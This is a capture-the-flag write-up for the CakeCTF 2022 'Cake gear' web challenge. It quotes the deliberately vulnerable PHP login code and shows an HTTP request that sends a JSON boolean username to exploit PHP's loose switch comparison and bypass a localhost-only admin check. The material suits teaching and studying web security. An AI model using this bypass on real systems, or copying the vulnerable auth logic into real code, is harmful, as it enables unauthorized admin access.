Cake gear

(I didn’t solved it during the ctf, the writeup is based upon other people who have shared their solution so thanks to them)

Visiting the site http://web1.2022.cakectf.com:8005/ , shows the login page

image

Login request looks like this:

POST / HTTP/1.1
Host: web1.2022.cakectf.com:8005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 39
Origin: http://web1.2022.cakectf.com:8005
Connection: close
Referer: http://web1.2022.cakectf.com:8005/
Cookie: session=eyJjc3JmX3Rva2VuIjoiMmY1ZGU1ZmJmZmNmODFmYWQ2NWJkYmQ2ZDUyNGQ2ODNjNjMwMzM3ZiIsInVzZXIiOiJzaGlybGV5cyJ9.YxQOog.QWOQS-Wj5lRHqNFrwuTqIvRDMX8; PHPSESSID=5abb07f87a3054791c20c7019c5e8de8

{"username":"admin","password":"admin"}

From view-source, in the javascript code:

         function login() {
             let error = document.getElementById('error-msg');
             let username = document.getElementById('username').value;
             let password = document.getElementById('password').value;
             let xhr = new XMLHttpRequest();
             xhr.addEventListener('load', function() {
                 let res = JSON.parse(this.response);
                 if (res.status === 'success') {
                     window.location.href = "/admin.php";
                 } else {
                     error.innerHTML = "Invalid credential";
                 }
             }, false);
             xhr.withCredentials = true;
             xhr.open('post', '/');
             xhr.send(JSON.stringify({ username, password }));
         }

We can see there’s an endpoint /admin.php , http://web1.2022.cakectf.com:8005/admin.php but this also redirect us to the login page.So without wasting any more time let’s look at the source code.

There are only two php files admin.php and index.php

index.php

<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        error_log("You failed....");
        $req->username = 'nobody';
    }

    error_log("Username:".$req->username);

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

    /* Return response */
    if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
        echo json_encode(array('status'=>'success'));
        exit;
    } else {
        echo json_encode(array('status'=>'error'));
        exit;
    }
}
?>
<!DOCTYPE html>
<html>
    ............. strupping the html part

admin.php

<?php
session_start();
if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
    header("Location: /index.php");
    exit;
}

if ($_SESSION['admin'] === true) {
    $mode = 'admin';
    $flag = file_get_contents("/flag.txt");
} else {
    $mode = 'guest';
    $flag = "***** Access Denied *****";
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>control panel - CAKEGEAR</title>
        <style>table, td { margin: auto; border: 1px solid #000; }</style>
    </head>
    <body style="text-align: center;">
        <h1>Router Control Panel</h1>
        <table><tbody>
            <tr><td><b>Status</b></td><td>UP</td></tr>
            <tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
            <tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
            <tr><td><b>Access Mode</b></td><td><?= $mode ?></td></tr>
            <tr><td><b>FLAG</b></td><td><?= $flag ?></td></tr>
        </tbody></table>
    </body>
</html>

As you can see that the flag is visible from the /admin endpoint, but there is check to validate whether the logged in user is admin or not. From this we can get a basic idea that , we probably need to somehow gain access to admin acc or something.

Back to the index.php file:

Inside the switch statement there are three cases for three diff users admin ,guest,godmode The password for the guest username is guest, so let’s try to see what’s there

image

The godmode username looks interesting so let’s look more into this user,

section 1

$req = @json_decode(file_get_contents("php://input"));

if (isset($req->username) && isset($req->password)) {  
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { //[1]
        /* Debug mode is not allowed from outside the router */
        error_log("You failed....");
        $req->username = 'nobody';
    }

    error_log("Username:".$req->username);

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

The $req variable basicaly contains the json data sent in the request body If you want to know more about why they are using php://input here, then refer to this post from stackoverflow: https://stackoverflow.com/questions/8893574/php-php-input-vs-post

On line [1], the if condition checks for two things:


$req->username === 'godmode'   // [2] 
!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])  // [3]

First just checks if the username in the $req variable is equal to godmode The second checks the client ip , whether it matches with ['127.0.0.1', '::1'] (basically they are checking if the request if coming from localhost or not, there’s a NOT operator in front of it)

If both the conditions are true

error_log("You failed....");
$req->username = 'nobody';

Then the YOu failed…. message is displayed and the username is changed to nobody

Inside the switch case, if the $req->username returns the godmode username

        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

This case will run, here from the comment you could see there is password requirement and also this is an admin too, perfect if we can somehow get login as godmode user we can get the flag

We can’t login as the admin username as there’s strict comparison (===) of the admin password, if there was a loose comparison then the exploitation method would have been different here.

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

Godmode user

If we want to get login as the godmode user , we must somehow fail this if check (line [1] section 1)

!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])

There is no way to spoof the ip in this case, if they were getting the client ip from headers such X-Real-Ip or something then we would have been able to add this header to our request and set it’s value to 127.0.0.1 to make condition return false (NOT operator).

If there was some sort of parameter pollution bug here, which would return something else here so that the condition returns false

$req->username === 'godmode'

And then here in the switch case it returns the godmode username, but sadly that’s not possible here.

Switch case (loose comparison)

Looking at the docs of the switch statement: https://www.php.net/manual/en/control-structures.switch.php

Under a note section, it mentions that Note that switch/case does loose comparison.

Challenge Author’s note:

chrome_4pcIpU7hvJ

php > echo  0 == "godmode";
1
php > echo  true == "godmode";
1

Cool, so now to solve the challenge we need to provide true for username value

POST / HTTP/1.1
Host: web1.2022.cakectf.com:8005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 38
Origin: http://web1.2022.cakectf.com:8005
Connection: close
Referer: http://web1.2022.cakectf.com:8005/


{"username":true,"password":"admin"}

Then visit the /admin.php endpoint and you will get the flag:

image